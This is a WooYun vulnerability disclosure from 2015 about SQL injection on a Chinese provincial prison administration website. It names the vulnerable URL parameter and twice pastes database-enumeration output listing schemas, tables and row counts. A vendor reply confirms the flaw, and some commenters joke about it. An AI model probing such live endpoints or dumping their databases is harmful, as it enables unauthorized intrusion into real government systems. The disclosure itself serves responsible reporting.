当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-093926

漏洞标题：某省监狱管理局存在SQL注射

相关厂商：广东省信息安全测评中心

漏洞作者： Yang

提交时间：2015-01-26 17:41

修复时间：2015-03-12 17:42

公开时间：2015-03-12 17:42

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(广东省信息安全测评中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-26： 细节已通知厂商并且等待厂商处理中
2015-01-27： 厂商已经确认，细节仅向厂商公开
2015-02-06： 细节向核心白帽子及相关领域专家公开
2015-02-16： 细节向普通白帽子公开
2015-02-26： 细节向实习白帽子公开
2015-03-12： 细节向公众公开

简要描述：

某省监狱管理局存在SQL注射
只跑了库。跑了表
然后啥也没干，
我还想回家过年

详细说明：

广东省监狱管理局 

http://www.gdjyj.gd.gov.cn/


存在SQL注射的

http://www.gdjyj.gd.gov.cn/index.php?c=article&act=lists&cid=5


1.png


back-end DBMS: MySQL 5.0.11
available databases [3]:
[*] information_schema
[*] test
[*] ws_gdjy


Database: ws_gdjy
[20 tables]
+---------------------------------------+
| eb_admin                              |
| eb_article                            |
| eb_article_v                          |
| eb_auth_group                         |
| eb_auth_group_access                  |
| eb_auth_rule                          |
| eb_book_online                        |
| eb_category                           |
| eb_category_v                         |
| eb_config                             |
| eb_guestbook                          |
| eb_link                               |
| eb_link_v                             |
| eb_magazine                           |
| eb_menu                               |
| eb_mgz_article                        |
| eb_mgz_column                         |
| eb_module                             |
| eb_nav                                |
| eb_other                              |
+---------------------------------------+
Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+
Database: ws_gdjy
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| eb_article                            | 7331    |
| eb_article_v                          | 1840    |
| eb_auth_rule                          | 140     |
| eb_menu                               | 138     |
| eb_category                           | 95      |
| eb_category_v                         | 88      |
| eb_mgz_article                        | 77      |
| eb_link                               | 62      |
| eb_link_v                             | 62      |
| eb_nav                                | 61      |
| eb_module                             | 16      |
| eb_config                             | 12      |
| eb_guestbook                          | 11      |
| eb_auth_group_access                  | 9       |
| eb_mgz_column                         | 8       |
| eb_magazine                           | 4       |
| eb_admin                              | 3       |
| eb_auth_group                         | 3       |
| eb_other                              | 3       |
+---------------------------------------+---------+
Database: information_schema
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| COLUMNS                               | 580     |
| GLOBAL_STATUS                         | 291     |
| SESSION_STATUS                        | 291     |
| GLOBAL_VARIABLES                      | 277     |
| SESSION_VARIABLES                     | 277     |
| COLLATION_CHARACTER_SET_APPLICABILITY | 130     |
| COLLATIONS                            | 129     |
| TABLES                                | 48      |
| PARTITIONS                            | 45      |
| STATISTICS                            | 39      |
| CHARACTER_SETS                        | 36      |
| KEY_COLUMN_USAGE                      | 35      |
| TABLE_CONSTRAINTS                     | 28      |
| SCHEMA_PRIVILEGES                     | 18      |
| PLUGINS                               | 7       |
| ENGINES                               | 5       |
| REFERENTIAL_CONSTRAINTS               | 3       |
| SCHEMATA                              | 3       |
| VIEWS                                 | 3       |
| PROCESSLIST                           | 2       |
| USER_PRIVILEGES                       | 1       |
+---------------------------------------+---------+

漏洞证明：

1.png


back-end DBMS: MySQL 5.0.11
available databases [3]:
[*] information_schema
[*] test
[*] ws_gdjy


Database: ws_gdjy
[20 tables]
+---------------------------------------+
| eb_admin                              |
| eb_article                            |
| eb_article_v                          |
| eb_auth_group                         |
| eb_auth_group_access                  |
| eb_auth_rule                          |
| eb_book_online                        |
| eb_category                           |
| eb_category_v                         |
| eb_config                             |
| eb_guestbook                          |
| eb_link                               |
| eb_link_v                             |
| eb_magazine                           |
| eb_menu                               |
| eb_mgz_article                        |
| eb_mgz_column                         |
| eb_module                             |
| eb_nav                                |
| eb_other                              |
+---------------------------------------+
Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+
Database: ws_gdjy
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| eb_article                            | 7331    |
| eb_article_v                          | 1840    |
| eb_auth_rule                          | 140     |
| eb_menu                               | 138     |
| eb_category                           | 95      |
| eb_category_v                         | 88      |
| eb_mgz_article                        | 77      |
| eb_link                               | 62      |
| eb_link_v                             | 62      |
| eb_nav                                | 61      |
| eb_module                             | 16      |
| eb_config                             | 12      |
| eb_guestbook                          | 11      |
| eb_auth_group_access                  | 9       |
| eb_mgz_column                         | 8       |
| eb_magazine                           | 4       |
| eb_admin                              | 3       |
| eb_auth_group                         | 3       |
| eb_other                              | 3       |
+---------------------------------------+---------+
Database: information_schema
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| COLUMNS                               | 580     |
| GLOBAL_STATUS                         | 291     |
| SESSION_STATUS                        | 291     |
| GLOBAL_VARIABLES                      | 277     |
| SESSION_VARIABLES                     | 277     |
| COLLATION_CHARACTER_SET_APPLICABILITY | 130     |
| COLLATIONS                            | 129     |
| TABLES                                | 48      |
| PARTITIONS                            | 45      |
| STATISTICS                            | 39      |
| CHARACTER_SETS                        | 36      |
| KEY_COLUMN_USAGE                      | 35      |
| TABLE_CONSTRAINTS                     | 28      |
| SCHEMA_PRIVILEGES                     | 18      |
| PLUGINS                               | 7       |
| ENGINES                               | 5       |
| REFERENTIAL_CONSTRAINTS               | 3       |
| SCHEMATA                              | 3       |
| VIEWS                                 | 3       |
| PROCESSLIST                           | 2       |
| USER_PRIVILEGES                       | 1       |
+---------------------------------------+---------+

修复方案：

过滤

版权声明：转载请注明来源 Yang@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-01-27 17:41

厂商回复：

非常感谢您的报告。
报告中的问题已确认并复现.
影响的数据：高
攻击成本：低
造成影响：高
综合评级为：高，rank：10
正在联系相关网站管理单位处置。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-01-26 17:46 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:398 | 某安全公司招聘系统运维、渗透测试、安全运...)

    你想进去吗

  2. 2015-01-26 17:59 | Yang ( 普通白帽子 | Rank:247 漏洞数:86 | 作为菜鸟，大米手机摔破了怎么办？)

    @0x 80 我这不是说只跑裤了啥都没干么……我还想回家过年

  3. 2015-01-26 18:14 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:398 | 某安全公司招聘系统运维、渗透测试、安全运...)

    @Yang 对的嘛，新年快乐，相互关注吧